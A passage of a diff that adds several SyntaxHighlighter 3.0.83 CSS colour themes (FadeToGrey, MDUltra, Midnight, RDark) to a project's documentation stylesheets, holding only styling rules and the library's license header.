+.syntaxhighlighter.printing .comments, .syntaxhighlighter.printing .comments a {
+  color: #008200 !important;
+}
+.syntaxhighlighter.printing .string, .syntaxhighlighter.printing .string a {
+  color: blue !important;
+}
+.syntaxhighlighter.printing .keyword {
+  color: #006699 !important;
+  font-weight: bold !important;
+}
+.syntaxhighlighter.printing .preprocessor {
+  color: gray !important;
+}
+.syntaxhighlighter.printing .variable {
+  color: #aa7700 !important;
+}
+.syntaxhighlighter.printing .value {
+  color: #009900 !important;
+}
+.syntaxhighlighter.printing .functions {
+  color: #ff1493 !important;
+}
+.syntaxhighlighter.printing .constants {
+  color: #0066cc !important;
+}
+.syntaxhighlighter.printing .script {
+  font-weight: bold !important;
+}
+.syntaxhighlighter.printing .color1, .syntaxhighlighter.printing .color1 a {
+  color: gray !important;
+}
+.syntaxhighlighter.printing .color2, .syntaxhighlighter.printing .color2 a {
+  color: #ff1493 !important;
+}
+.syntaxhighlighter.printing .color3, .syntaxhighlighter.printing .color3 a {
+  color: red !important;
+}
+.syntaxhighlighter.printing .break, .syntaxhighlighter.printing .break a {
+  color: black !important;
+}
+
+.syntaxhighlighter {
+  background-color: black !important;
+}
+.syntaxhighlighter .line.alt1 {
+  background-color: black !important;
+}
+.syntaxhighlighter .line.alt2 {
+  background-color: black !important;
+}
+.syntaxhighlighter .line.highlighted.alt1, .syntaxhighlighter .line.highlighted.alt2 {
+  background-color: #2a3133 !important;
+}
+.syntaxhighlighter .line.highlighted.number {
+  color: white !important;
+}
+.syntaxhighlighter table caption {
+  color: #d3d3d3 !important;
+}
+.syntaxhighlighter .gutter {
+  color: #d3d3d3 !important;
+}
+.syntaxhighlighter .gutter .line {
+  border-right: 3px solid #990000 !important;
+}
+.syntaxhighlighter .gutter .line.highlighted {
+  background-color: #990000 !important;
+  color: black !important;
+}
+.syntaxhighlighter.printing .line .content {
+  border: none !important;
+}
+.syntaxhighlighter.collapsed {
+  overflow: visible !important;
+}
+.syntaxhighlighter.collapsed .toolbar {
+  color: #ebdb8d !important;
+  background: black !important;
+  border: 1px solid #990000 !important;
+}
+.syntaxhighlighter.collapsed .toolbar a {
+  color: #ebdb8d !important;
+}
+.syntaxhighlighter.collapsed .toolbar a:hover {
+  color: #ff7d27 !important;
+}
+.syntaxhighlighter .toolbar {
+  color: white !important;
+  background: #990000 !important;
+  border: none !important;
+}
+.syntaxhighlighter .toolbar a {
+  color: white !important;
+}
+.syntaxhighlighter .toolbar a:hover {
+  color: #9ccff4 !important;
+}
+.syntaxhighlighter .plain, .syntaxhighlighter .plain a {
+  color: #d3d3d3 !important;
+}
+.syntaxhighlighter .comments, .syntaxhighlighter .comments a {
+  color: #ff7d27 !important;
+}
+.syntaxhighlighter .string, .syntaxhighlighter .string a {
+  color: #ff9e7b !important;
+}
+.syntaxhighlighter .keyword {
+  color: aqua !important;
+}
+.syntaxhighlighter .preprocessor {
+  color: #aec4de !important;
+}
+.syntaxhighlighter .variable {
+  color: #ffaa3e !important;
+}
+.syntaxhighlighter .value {
+  color: #009900 !important;
+}
+.syntaxhighlighter .functions {
+  color: #81cef9 !important;
+}
+.syntaxhighlighter .constants {
+  color: #ff9e7b !important;
+}
+.syntaxhighlighter .script {
+  font-weight: bold !important;
+  color: aqua !important;
+  background-color: none !important;
+}
+.syntaxhighlighter .color1, .syntaxhighlighter .color1 a {
+  color: #ebdb8d !important;
+}
+.syntaxhighlighter .color2, .syntaxhighlighter .color2 a {
+  color: #ff7d27 !important;
+}
+.syntaxhighlighter .color3, .syntaxhighlighter .color3 a {
+  color: #aec4de !important;
+}
doc/guides/stylesheets/syntaxhighlighter/shCoreFadeToGrey.css
@@ -0,0 +1,328 @@
+/**
+ * SyntaxHighlighter
+ * http://alexgorbatchev.com/SyntaxHighlighter
+ *
+ * SyntaxHighlighter is donationware. If you are using it, please donate.
+ * http://alexgorbatchev.com/SyntaxHighlighter/donate.html
+ *
+ * @version
+ * 3.0.83 (July 02 2010)
+ * 
+ * @copyright
+ * Copyright (C) 2004-2010 Alex Gorbatchev.
+ *
+ * @license
+ * Dual licensed under the MIT and GPL licenses.
+ */
+.syntaxhighlighter a,
+.syntaxhighlighter div,
+.syntaxhighlighter code,
+.syntaxhighlighter table,
+.syntaxhighlighter table td,
+.syntaxhighlighter table tr,
+.syntaxhighlighter table tbody,
+.syntaxhighlighter table thead,
+.syntaxhighlighter table caption,
+.syntaxhighlighter textarea {
+  -moz-border-radius: 0 0 0 0 !important;
+  -webkit-border-radius: 0 0 0 0 !important;
+  background: none !important;
+  border: 0 !important;
+  bottom: auto !important;
+  float: none !important;
+  height: auto !important;
+  left: auto !important;
+  line-height: 1.1em !important;
+  margin: 0 !important;
+  outline: 0 !important;
+  overflow: visible !important;
+  padding: 0 !important;
+  position: static !important;
+  right: auto !important;
+  text-align: left !important;
+  top: auto !important;
+  vertical-align: baseline !important;
+  width: auto !important;
+  box-sizing: content-box !important;
+  font-family: "Consolas", "Bitstream Vera Sans Mono", "Courier New", Courier, monospace !important;
+  font-weight: normal !important;
+  font-style: normal !important;
+  font-size: 1em !important;
+  min-height: inherit !important;
+  min-height: auto !important;
+}
+
+.syntaxhighlighter {
+  width: 100% !important;
+  margin: 1em 0 1em 0 !important;
+  position: relative !important;
+  overflow: auto !important;
+  font-size: 1em !important;
+}
+.syntaxhighlighter.source {
+  overflow: hidden !important;
+}
+.syntaxhighlighter .bold {
+  font-weight: bold !important;
+}
+.syntaxhighlighter .italic {
+  font-style: italic !important;
+}
+.syntaxhighlighter .line {
+  white-space: pre !important;
+}
+.syntaxhighlighter table {
+  width: 100% !important;
+}
+.syntaxhighlighter table caption {
+  text-align: left !important;
+  padding: .5em 0 0.5em 1em !important;
+}
+.syntaxhighlighter table td.code {
+  width: 100% !important;
+}
+.syntaxhighlighter table td.code .container {
+  position: relative !important;
+}
+.syntaxhighlighter table td.code .container textarea {
+  box-sizing: border-box !important;
+  position: absolute !important;
+  left: 0 !important;
+  top: 0 !important;
+  width: 100% !important;
+  height: 100% !important;
+  border: none !important;
+  background: white !important;
+  padding-left: 1em !important;
+  overflow: hidden !important;
+  white-space: pre !important;
+}
+.syntaxhighlighter table td.gutter .line {
+  text-align: right !important;
+  padding: 0 0.5em 0 1em !important;
+}
+.syntaxhighlighter table td.code .line {
+  padding: 0 1em !important;
+}
+.syntaxhighlighter.nogutter td.code .container textarea, .syntaxhighlighter.nogutter td.code .line {
+  padding-left: 0em !important;
+}
+.syntaxhighlighter.show {
+  display: block !important;
+}
+.syntaxhighlighter.collapsed table {
+  display: none !important;
+}
+.syntaxhighlighter.collapsed .toolbar {
+  padding: 0.1em 0.8em 0em 0.8em !important;
+  font-size: 1em !important;
+  position: static !important;
+  width: auto !important;
+  height: auto !important;
+}
+.syntaxhighlighter.collapsed .toolbar span {
+  display: inline !important;
+  margin-right: 1em !important;
+}
+.syntaxhighlighter.collapsed .toolbar span a {
+  padding: 0 !important;
+  display: none !important;
+}
+.syntaxhighlighter.collapsed .toolbar span a.expandSource {
+  display: inline !important;
+}
+.syntaxhighlighter .toolbar {
+  position: absolute !important;
+  right: 1px !important;
+  top: 1px !important;
+  width: 11px !important;
+  height: 11px !important;
+  font-size: 10px !important;
+  z-index: 10 !important;
+}
+.syntaxhighlighter .toolbar span.title {
+  display: inline !important;
+}
+.syntaxhighlighter .toolbar a {
+  display: block !important;
+  text-align: center !important;
+  text-decoration: none !important;
+  padding-top: 1px !important;
+}
+.syntaxhighlighter .toolbar a.expandSource {
+  display: none !important;
+}
+.syntaxhighlighter.ie {
+  font-size: .9em !important;
+  padding: 1px 0 1px 0 !important;
+}
+.syntaxhighlighter.ie .toolbar {
+  line-height: 8px !important;
+}
+.syntaxhighlighter.ie .toolbar a {
+  padding-top: 0px !important;
+}
+.syntaxhighlighter.printing .line.alt1 .content,
+.syntaxhighlighter.printing .line.alt2 .content,
+.syntaxhighlighter.printing .line.highlighted .number,
+.syntaxhighlighter.printing .line.highlighted.alt1 .content,
+.syntaxhighlighter.printing .line.highlighted.alt2 .content {
+  background: none !important;
+}
+.syntaxhighlighter.printing .line .number {
+  color: #bbbbbb !important;
+}
+.syntaxhighlighter.printing .line .content {
+  color: black !important;
+}
+.syntaxhighlighter.printing .toolbar {
+  display: none !important;
+}
+.syntaxhighlighter.printing a {
+  text-decoration: none !important;
+}
+.syntaxhighlighter.printing .plain, .syntaxhighlighter.printing .plain a {
+  color: black !important;
+}
+.syntaxhighlighter.printing .comments, .syntaxhighlighter.printing .comments a {
+  color: #008200 !important;
+}
+.syntaxhighlighter.printing .string, .syntaxhighlighter.printing .string a {
+  color: blue !important;
+}
+.syntaxhighlighter.printing .keyword {
+  color: #006699 !important;
+  font-weight: bold !important;
+}
+.syntaxhighlighter.printing .preprocessor {
+  color: gray !important;
+}
+.syntaxhighlighter.printing .variable {
+  color: #aa7700 !important;
+}
+.syntaxhighlighter.printing .value {
+  color: #009900 !important;
+}
+.syntaxhighlighter.printing .functions {
+  color: #ff1493 !important;
+}
+.syntaxhighlighter.printing .constants {
+  color: #0066cc !important;
+}
+.syntaxhighlighter.printing .script {
+  font-weight: bold !important;
+}
+.syntaxhighlighter.printing .color1, .syntaxhighlighter.printing .color1 a {
+  color: gray !important;
+}
+.syntaxhighlighter.printing .color2, .syntaxhighlighter.printing .color2 a {
+  color: #ff1493 !important;
+}
+.syntaxhighlighter.printing .color3, .syntaxhighlighter.printing .color3 a {
+  color: red !important;
+}
+.syntaxhighlighter.printing .break, .syntaxhighlighter.printing .break a {
+  color: black !important;
+}
+
+.syntaxhighlighter {
+  background-color: #121212 !important;
+}
+.syntaxhighlighter .line.alt1 {
+  background-color: #121212 !important;
+}
+.syntaxhighlighter .line.alt2 {
+  background-color: #121212 !important;
+}
+.syntaxhighlighter .line.highlighted.alt1, .syntaxhighlighter .line.highlighted.alt2 {
+  background-color: #2c2c29 !important;
+}
+.syntaxhighlighter .line.highlighted.number {
+  color: white !important;
+}
+.syntaxhighlighter table caption {
+  color: white !important;
+}
+.syntaxhighlighter .gutter {
+  color: #afafaf !important;
+}
+.syntaxhighlighter .gutter .line {
+  border-right: 3px solid #3185b9 !important;
+}
+.syntaxhighlighter .gutter .line.highlighted {
+  background-color: #3185b9 !important;
+  color: #121212 !important;
+}
+.syntaxhighlighter.printing .line .content {
+  border: none !important;
+}
+.syntaxhighlighter.collapsed {
+  overflow: visible !important;
+}
+.syntaxhighlighter.collapsed .toolbar {
+  color: #3185b9 !important;
+  background: black !important;
+  border: 1px solid #3185b9 !important;
+}
+.syntaxhighlighter.collapsed .toolbar a {
+  color: #3185b9 !important;
+}
+.syntaxhighlighter.collapsed .toolbar a:hover {
+  color: #d01d33 !important;
+}
+.syntaxhighlighter .toolbar {
+  color: white !important;
+  background: #3185b9 !important;
+  border: none !important;
+}
+.syntaxhighlighter .toolbar a {
+  color: white !important;
+}
+.syntaxhighlighter .toolbar a:hover {
+  color: #96daff !important;
+}
+.syntaxhighlighter .plain, .syntaxhighlighter .plain a {
+  color: white !important;
+}
+.syntaxhighlighter .comments, .syntaxhighlighter .comments a {
+  color: #696854 !important;
+}
+.syntaxhighlighter .string, .syntaxhighlighter .string a {
+  color: #e3e658 !important;
+}
+.syntaxhighlighter .keyword {
+  color: #d01d33 !important;
+}
+.syntaxhighlighter .preprocessor {
+  color: #435a5f !important;
+}
+.syntaxhighlighter .variable {
+  color: #898989 !important;
+}
+.syntaxhighlighter .value {
+  color: #009900 !important;
+}
+.syntaxhighlighter .functions {
+  color: #aaaaaa !important;
+}
+.syntaxhighlighter .constants {
+  color: #96daff !important;
+}
+.syntaxhighlighter .script {
+  font-weight: bold !important;
+  color: #d01d33 !important;
+  background-color: none !important;
+}
+.syntaxhighlighter .color1, .syntaxhighlighter .color1 a {
+  color: #ffc074 !important;
+}
+.syntaxhighlighter .color2, .syntaxhighlighter .color2 a {
+  color: #4a8cdb !important;
+}
+.syntaxhighlighter .color3, .syntaxhighlighter .color3 a {
+  color: #96daff !important;
+}
+
+.syntaxhighlighter .functions {
+  font-weight: bold !important;
+}
doc/guides/stylesheets/syntaxhighlighter/shCoreMDUltra.css
@@ -0,0 +1,324 @@
+/**
+ * SyntaxHighlighter
+ * http://alexgorbatchev.com/SyntaxHighlighter
+ *
+ * SyntaxHighlighter is donationware. If you are using it, please donate.
+ * http://alexgorbatchev.com/SyntaxHighlighter/donate.html
+ *
+ * @version
+ * 3.0.83 (July 02 2010)
+ * 
+ * @copyright
+ * Copyright (C) 2004-2010 Alex Gorbatchev.
+ *
+ * @license
+ * Dual licensed under the MIT and GPL licenses.
+ */
+.syntaxhighlighter a,
+.syntaxhighlighter div,
+.syntaxhighlighter code,
+.syntaxhighlighter table,
+.syntaxhighlighter table td,
+.syntaxhighlighter table tr,
+.syntaxhighlighter table tbody,
+.syntaxhighlighter table thead,
+.syntaxhighlighter table caption,
+.syntaxhighlighter textarea {
+  -moz-border-radius: 0 0 0 0 !important;
+  -webkit-border-radius: 0 0 0 0 !important;
+  background: none !important;
+  border: 0 !important;
+  bottom: auto !important;
+  float: none !important;
+  height: auto !important;
+  left: auto !important;
+  line-height: 1.1em !important;
+  margin: 0 !important;
+  outline: 0 !important;
+  overflow: visible !important;
+  padding: 0 !important;
+  position: static !important;
+  right: auto !important;
+  text-align: left !important;
+  top: auto !important;
+  vertical-align: baseline !important;
+  width: auto !important;
+  box-sizing: content-box !important;
+  font-family: "Consolas", "Bitstream Vera Sans Mono", "Courier New", Courier, monospace !important;
+  font-weight: normal !important;
+  font-style: normal !important;
+  font-size: 1em !important;
+  min-height: inherit !important;
+  min-height: auto !important;
+}
+
+.syntaxhighlighter {
+  width: 100% !important;
+  margin: 1em 0 1em 0 !important;
+  position: relative !important;
+  overflow: auto !important;
+  font-size: 1em !important;
+}
+.syntaxhighlighter.source {
+  overflow: hidden !important;
+}
+.syntaxhighlighter .bold {
+  font-weight: bold !important;
+}
+.syntaxhighlighter .italic {
+  font-style: italic !important;
+}
+.syntaxhighlighter .line {
+  white-space: pre !important;
+}
+.syntaxhighlighter table {
+  width: 100% !important;
+}
+.syntaxhighlighter table caption {
+  text-align: left !important;
+  padding: .5em 0 0.5em 1em !important;
+}
+.syntaxhighlighter table td.code {
+  width: 100% !important;
+}
+.syntaxhighlighter table td.code .container {
+  position: relative !important;
+}
+.syntaxhighlighter table td.code .container textarea {
+  box-sizing: border-box !important;
+  position: absolute !important;
+  left: 0 !important;
+  top: 0 !important;
+  width: 100% !important;
+  height: 100% !important;
+  border: none !important;
+  background: white !important;
+  padding-left: 1em !important;
+  overflow: hidden !important;
+  white-space: pre !important;
+}
+.syntaxhighlighter table td.gutter .line {
+  text-align: right !important;
+  padding: 0 0.5em 0 1em !important;
+}
+.syntaxhighlighter table td.code .line {
+  padding: 0 1em !important;
+}
+.syntaxhighlighter.nogutter td.code .container textarea, .syntaxhighlighter.nogutter td.code .line {
+  padding-left: 0em !important;
+}
+.syntaxhighlighter.show {
+  display: block !important;
+}
+.syntaxhighlighter.collapsed table {
+  display: none !important;
+}
+.syntaxhighlighter.collapsed .toolbar {
+  padding: 0.1em 0.8em 0em 0.8em !important;
+  font-size: 1em !important;
+  position: static !important;
+  width: auto !important;
+  height: auto !important;
+}
+.syntaxhighlighter.collapsed .toolbar span {
+  display: inline !important;
+  margin-right: 1em !important;
+}
+.syntaxhighlighter.collapsed .toolbar span a {
+  padding: 0 !important;
+  display: none !important;
+}
+.syntaxhighlighter.collapsed .toolbar span a.expandSource {
+  display: inline !important;
+}
+.syntaxhighlighter .toolbar {
+  position: absolute !important;
+  right: 1px !important;
+  top: 1px !important;
+  width: 11px !important;
+  height: 11px !important;
+  font-size: 10px !important;
+  z-index: 10 !important;
+}
+.syntaxhighlighter .toolbar span.title {
+  display: inline !important;
+}
+.syntaxhighlighter .toolbar a {
+  display: block !important;
+  text-align: center !important;
+  text-decoration: none !important;
+  padding-top: 1px !important;
+}
+.syntaxhighlighter .toolbar a.expandSource {
+  display: none !important;
+}
+.syntaxhighlighter.ie {
+  font-size: .9em !important;
+  padding: 1px 0 1px 0 !important;
+}
+.syntaxhighlighter.ie .toolbar {
+  line-height: 8px !important;
+}
+.syntaxhighlighter.ie .toolbar a {
+  padding-top: 0px !important;
+}
+.syntaxhighlighter.printing .line.alt1 .content,
+.syntaxhighlighter.printing .line.alt2 .content,
+.syntaxhighlighter.printing .line.highlighted .number,
+.syntaxhighlighter.printing .line.highlighted.alt1 .content,
+.syntaxhighlighter.printing .line.highlighted.alt2 .content {
+  background: none !important;
+}
+.syntaxhighlighter.printing .line .number {
+  color: #bbbbbb !important;
+}
+.syntaxhighlighter.printing .line .content {
+  color: black !important;
+}
+.syntaxhighlighter.printing .toolbar {
+  display: none !important;
+}
+.syntaxhighlighter.printing a {
+  text-decoration: none !important;
+}
+.syntaxhighlighter.printing .plain, .syntaxhighlighter.printing .plain a {
+  color: black !important;
+}
+.syntaxhighlighter.printing .comments, .syntaxhighlighter.printing .comments a {
+  color: #008200 !important;
+}
+.syntaxhighlighter.printing .string, .syntaxhighlighter.printing .string a {
+  color: blue !important;
+}
+.syntaxhighlighter.printing .keyword {
+  color: #006699 !important;
+  font-weight: bold !important;
+}
+.syntaxhighlighter.printing .preprocessor {
+  color: gray !important;
+}
+.syntaxhighlighter.printing .variable {
+  color: #aa7700 !important;
+}
+.syntaxhighlighter.printing .value {
+  color: #009900 !important;
+}
+.syntaxhighlighter.printing .functions {
+  color: #ff1493 !important;
+}
+.syntaxhighlighter.printing .constants {
+  color: #0066cc !important;
+}
+.syntaxhighlighter.printing .script {
+  font-weight: bold !important;
+}
+.syntaxhighlighter.printing .color1, .syntaxhighlighter.printing .color1 a {
+  color: gray !important;
+}
+.syntaxhighlighter.printing .color2, .syntaxhighlighter.printing .color2 a {
+  color: #ff1493 !important;
+}
+.syntaxhighlighter.printing .color3, .syntaxhighlighter.printing .color3 a {
+  color: red !important;
+}
+.syntaxhighlighter.printing .break, .syntaxhighlighter.printing .break a {
+  color: black !important;
+}
+
+.syntaxhighlighter {
+  background-color: #222222 !important;
+}
+.syntaxhighlighter .line.alt1 {
+  background-color: #222222 !important;
+}
+.syntaxhighlighter .line.alt2 {
+  background-color: #222222 !important;
+}
+.syntaxhighlighter .line.highlighted.alt1, .syntaxhighlighter .line.highlighted.alt2 {
+  background-color: #253e5a !important;
+}
+.syntaxhighlighter .line.highlighted.number {
+  color: white !important;
+}
+.syntaxhighlighter table caption {
+  color: lime !important;
+}
+.syntaxhighlighter .gutter {
+  color: #38566f !important;
+}
+.syntaxhighlighter .gutter .line {
+  border-right: 3px solid #435a5f !important;
+}
+.syntaxhighlighter .gutter .line.highlighted {
+  background-color: #435a5f !important;
+  color: #222222 !important;
+}
+.syntaxhighlighter.printing .line .content {
+  border: none !important;
+}
+.syntaxhighlighter.collapsed {
+  overflow: visible !important;
+}
+.syntaxhighlighter.collapsed .toolbar {
+  color: #428bdd !important;
+  background: black !important;
+  border: 1px solid #435a5f !important;
+}
+.syntaxhighlighter.collapsed .toolbar a {
+  color: #428bdd !important;
+}
+.syntaxhighlighter.collapsed .toolbar a:hover {
+  color: lime !important;
+}
+.syntaxhighlighter .toolbar {
+  color: #aaaaff !important;
+  background: #435a5f !important;
+  border: none !important;
+}
+.syntaxhighlighter .toolbar a {
+  color: #aaaaff !important;
+}
+.syntaxhighlighter .toolbar a:hover {
+  color: #9ccff4 !important;
+}
+.syntaxhighlighter .plain, .syntaxhighlighter .plain a {
+  color: lime !important;
+}
+.syntaxhighlighter .comments, .syntaxhighlighter .comments a {
+  color: #428bdd !important;
+}
+.syntaxhighlighter .string, .syntaxhighlighter .string a {
+  color: lime !important;
+}
+.syntaxhighlighter .keyword {
+  color: #aaaaff !important;
+}
+.syntaxhighlighter .preprocessor {
+  color: #8aa6c1 !important;
+}
+.syntaxhighlighter .variable {
+  color: aqua !important;
+}
+.syntaxhighlighter .value {
+  color: #f7e741 !important;
+}
+.syntaxhighlighter .functions {
+  color: #ff8000 !important;
+}
+.syntaxhighlighter .constants {
+  color: yellow !important;
+}
+.syntaxhighlighter .script {
+  font-weight: bold !important;
+  color: #aaaaff !important;
+  background-color: none !important;
+}
+.syntaxhighlighter .color1, .syntaxhighlighter .color1 a {
+  color: red !important;
+}
+.syntaxhighlighter .color2, .syntaxhighlighter .color2 a {
+  color: yellow !important;
+}
+.syntaxhighlighter .color3, .syntaxhighlighter .color3 a {
+  color: #ffaa3e !important;
+}
doc/guides/stylesheets/syntaxhighlighter/shCoreMidnight.css
@@ -0,0 +1,324 @@
+/**
+ * SyntaxHighlighter
+ * http://alexgorbatchev.com/SyntaxHighlighter
+ *
+ * SyntaxHighlighter is donationware. If you are using it, please donate.
+ * http://alexgorbatchev.com/SyntaxHighlighter/donate.html
+ *
+ * @version
+ * 3.0.83 (July 02 2010)
+ * 
+ * @copyright
+ * Copyright (C) 2004-2010 Alex Gorbatchev.
+ *
+ * @license
+ * Dual licensed under the MIT and GPL licenses.
+ */
+.syntaxhighlighter a,
+.syntaxhighlighter div,
+.syntaxhighlighter code,
+.syntaxhighlighter table,
+.syntaxhighlighter table td,
+.syntaxhighlighter table tr,
+.syntaxhighlighter table tbody,
+.syntaxhighlighter table thead,
+.syntaxhighlighter table caption,
+.syntaxhighlighter textarea {
+  -moz-border-radius: 0 0 0 0 !important;
+  -webkit-border-radius: 0 0 0 0 !important;
+  background: none !important;
+  border: 0 !important;
+  bottom: auto !important;
+  float: none !important;
+  height: auto !important;
+  left: auto !important;
+  line-height: 1.1em !important;
+  margin: 0 !important;
+  outline: 0 !important;
+  overflow: visible !important;
+  padding: 0 !important;
+  position: static !important;
+  right: auto !important;
+  text-align: left !important;
+  top: auto !important;
+  vertical-align: baseline !important;
+  width: auto !important;
+  box-sizing: content-box !important;
+  font-family: "Consolas", "Bitstream Vera Sans Mono", "Courier New", Courier, monospace !important;
+  font-weight: normal !important;
+  font-style: normal !important;
+  font-size: 1em !important;
+  min-height: inherit !important;
+  min-height: auto !important;
+}
+
+.syntaxhighlighter {
+  width: 100% !important;
+  margin: 1em 0 1em 0 !important;
+  position: relative !important;
+  overflow: auto !important;
+  font-size: 1em !important;
+}
+.syntaxhighlighter.source {
+  overflow: hidden !important;
+}
+.syntaxhighlighter .bold {
+  font-weight: bold !important;
+}
+.syntaxhighlighter .italic {
+  font-style: italic !important;
+}
+.syntaxhighlighter .line {
+  white-space: pre !important;
+}
+.syntaxhighlighter table {
+  width: 100% !important;
+}
+.syntaxhighlighter table caption {
+  text-align: left !important;
+  padding: .5em 0 0.5em 1em !important;
+}
+.syntaxhighlighter table td.code {
+  width: 100% !important;
+}
+.syntaxhighlighter table td.code .container {
+  position: relative !important;
+}
+.syntaxhighlighter table td.code .container textarea {
+  box-sizing: border-box !important;
+  position: absolute !important;
+  left: 0 !important;
+  top: 0 !important;
+  width: 100% !important;
+  height: 100% !important;
+  border: none !important;
+  background: white !important;
+  padding-left: 1em !important;
+  overflow: hidden !important;
+  white-space: pre !important;
+}
+.syntaxhighlighter table td.gutter .line {
+  text-align: right !important;
+  padding: 0 0.5em 0 1em !important;
+}
+.syntaxhighlighter table td.code .line {
+  padding: 0 1em !important;
+}
+.syntaxhighlighter.nogutter td.code .container textarea, .syntaxhighlighter.nogutter td.code .line {
+  padding-left: 0em !important;
+}
+.syntaxhighlighter.show {
+  display: block !important;
+}
+.syntaxhighlighter.collapsed table {
+  display: none !important;
+}
+.syntaxhighlighter.collapsed .toolbar {
+  padding: 0.1em 0.8em 0em 0.8em !important;
+  font-size: 1em !important;
+  position: static !important;
+  width: auto !important;
+  height: auto !important;
+}
+.syntaxhighlighter.collapsed .toolbar span {
+  display: inline !important;
+  margin-right: 1em !important;
+}
+.syntaxhighlighter.collapsed .toolbar span a {
+  padding: 0 !important;
+  display: none !important;
+}
+.syntaxhighlighter.collapsed .toolbar span a.expandSource {
+  display: inline !important;
+}
+.syntaxhighlighter .toolbar {
+  position: absolute !important;
+  right: 1px !important;
+  top: 1px !important;
+  width: 11px !important;
+  height: 11px !important;
+  font-size: 10px !important;
+  z-index: 10 !important;
+}
+.syntaxhighlighter .toolbar span.title {
+  display: inline !important;
+}
+.syntaxhighlighter .toolbar a {
+  display: block !important;
+  text-align: center !important;
+  text-decoration: none !important;
+  padding-top: 1px !important;
+}
+.syntaxhighlighter .toolbar a.expandSource {
+  display: none !important;
+}
+.syntaxhighlighter.ie {
+  font-size: .9em !important;
+  padding: 1px 0 1px 0 !important;
+}
+.syntaxhighlighter.ie .toolbar {
+  line-height: 8px !important;
+}
+.syntaxhighlighter.ie .toolbar a {
+  padding-top: 0px !important;
+}
+.syntaxhighlighter.printing .line.alt1 .content,
+.syntaxhighlighter.printing .line.alt2 .content,
+.syntaxhighlighter.printing .line.highlighted .number,
+.syntaxhighlighter.printing .line.highlighted.alt1 .content,
+.syntaxhighlighter.printing .line.highlighted.alt2 .content {
+  background: none !important;
+}
+.syntaxhighlighter.printing .line .number {
+  color: #bbbbbb !important;
+}
+.syntaxhighlighter.printing .line .content {
+  color: black !important;
+}
+.syntaxhighlighter.printing .toolbar {
+  display: none !important;
+}
+.syntaxhighlighter.printing a {
+  text-decoration: none !important;
+}
+.syntaxhighlighter.printing .plain, .syntaxhighlighter.printing .plain a {
+  color: black !important;
+}
+.syntaxhighlighter.printing .comments, .syntaxhighlighter.printing .comments a {
+  color: #008200 !important;
+}
+.syntaxhighlighter.printing .string, .syntaxhighlighter.printing .string a {
+  color: blue !important;
+}
+.syntaxhighlighter.printing .keyword {
+  color: #006699 !important;
+  font-weight: bold !important;
+}
+.syntaxhighlighter.printing .preprocessor {
+  color: gray !important;
+}
+.syntaxhighlighter.printing .variable {
+  color: #aa7700 !important;
+}
+.syntaxhighlighter.printing .value {
+  color: #009900 !important;
+}
+.syntaxhighlighter.printing .functions {
+  color: #ff1493 !important;
+}
+.syntaxhighlighter.printing .constants {
+  color: #0066cc !important;
+}
+.syntaxhighlighter.printing .script {
+  font-weight: bold !important;
+}
+.syntaxhighlighter.printing .color1, .syntaxhighlighter.printing .color1 a {
+  color: gray !important;
+}
+.syntaxhighlighter.printing .color2, .syntaxhighlighter.printing .color2 a {
+  color: #ff1493 !important;
+}
+.syntaxhighlighter.printing .color3, .syntaxhighlighter.printing .color3 a {
+  color: red !important;
+}
+.syntaxhighlighter.printing .break, .syntaxhighlighter.printing .break a {
+  color: black !important;
+}
+
+.syntaxhighlighter {
+  background-color: #0f192a !important;
+}
+.syntaxhighlighter .line.alt1 {
+  background-color: #0f192a !important;
+}
+.syntaxhighlighter .line.alt2 {
+  background-color: #0f192a !important;
+}
+.syntaxhighlighter .line.highlighted.alt1, .syntaxhighlighter .line.highlighted.alt2 {
+  background-color: #253e5a !important;
+}
+.syntaxhighlighter .line.highlighted.number {
+  color: #38566f !important;
+}
+.syntaxhighlighter table caption {
+  color: #d1edff !important;
+}
+.syntaxhighlighter .gutter {
+  color: #afafaf !important;
+}
+.syntaxhighlighter .gutter .line {
+  border-right: 3px solid #435a5f !important;
+}
+.syntaxhighlighter .gutter .line.highlighted {
+  background-color: #435a5f !important;
+  color: #0f192a !important;
+}
+.syntaxhighlighter.printing .line .content {
+  border: none !important;
+}
+.syntaxhighlighter.collapsed {
+  overflow: visible !important;
+}
+.syntaxhighlighter.collapsed .toolbar {
+  color: #428bdd !important;
+  background: black !important;
+  border: 1px solid #435a5f !important;
+}
+.syntaxhighlighter.collapsed .toolbar a {
+  color: #428bdd !important;
+}
+.syntaxhighlighter.collapsed .toolbar a:hover {
+  color: #1dc116 !important;
+}
+.syntaxhighlighter .toolbar {
+  color: #d1edff !important;
+  background: #435a5f !important;
+  border: none !important;
+}
+.syntaxhighlighter .toolbar a {
+  color: #d1edff !important;
+}
+.syntaxhighlighter .toolbar a:hover {
+  color: #8aa6c1 !important;
+}
+.syntaxhighlighter .plain, .syntaxhighlighter .plain a {
+  color: #d1edff !important;
+}
+.syntaxhighlighter .comments, .syntaxhighlighter .comments a {
+  color: #428bdd !important;
+}
+.syntaxhighlighter .string, .syntaxhighlighter .string a {
+  color: #1dc116 !important;
+}
+.syntaxhighlighter .keyword {
+  color: #b43d3d !important;
+}
+.syntaxhighlighter .preprocessor {
+  color: #8aa6c1 !important;
+}
+.syntaxhighlighter .variable {
+  color: #ffaa3e !important;
+}
+.syntaxhighlighter .value {
+  color: #f7e741 !important;
+}
+.syntaxhighlighter .functions {
+  color: #ffaa3e !important;
+}
+.syntaxhighlighter .constants {
+  color: #e0e8ff !important;
+}
+.syntaxhighlighter .script {
+  font-weight: bold !important;
+  color: #b43d3d !important;
+  background-color: none !important;
+}
+.syntaxhighlighter .color1, .syntaxhighlighter .color1 a {
+  color: #f8bb00 !important;
+}
+.syntaxhighlighter .color2, .syntaxhighlighter .color2 a {
+  color: white !important;
+}
+.syntaxhighlighter .color3, .syntaxhighlighter .color3 a {
+  color: #ffaa3e !important;
+}
doc/guides/stylesheets/syntaxhighlighter/shCoreRDark.css
@@ -0,0 +1,324 @@
+/**
+ * SyntaxHighlighter
+ * http://alexgorbatchev.com/SyntaxHighlighter
+ *
+ * SyntaxHighlighter is donationware. If you are using it, please donate.
+ * http://alexgorbatchev.com/SyntaxHighlighter/donate.html
+ *
+ * @version
+ * 3.0.83 (July 02 2010)
+ * 
+ * @copyright
+ * Copyright (C) 2004-2010 Alex Gorbatchev.
+ *
+ * @license
+ * Dual licensed under the MIT and GPL licenses.
+ */
+.syntaxhighlighter a,
+.syntaxhighlighter div,
+.syntaxhighlighter code,
+.syntaxhighlighter table,
+.syntaxhighlighter table td,
+.syntaxhighlighter table tr,
+.syntaxhighlighter table tbody,
+.syntaxhighlighter table thead,
+.syntaxhighlighter table caption,
+.syntaxhighlighter textarea {
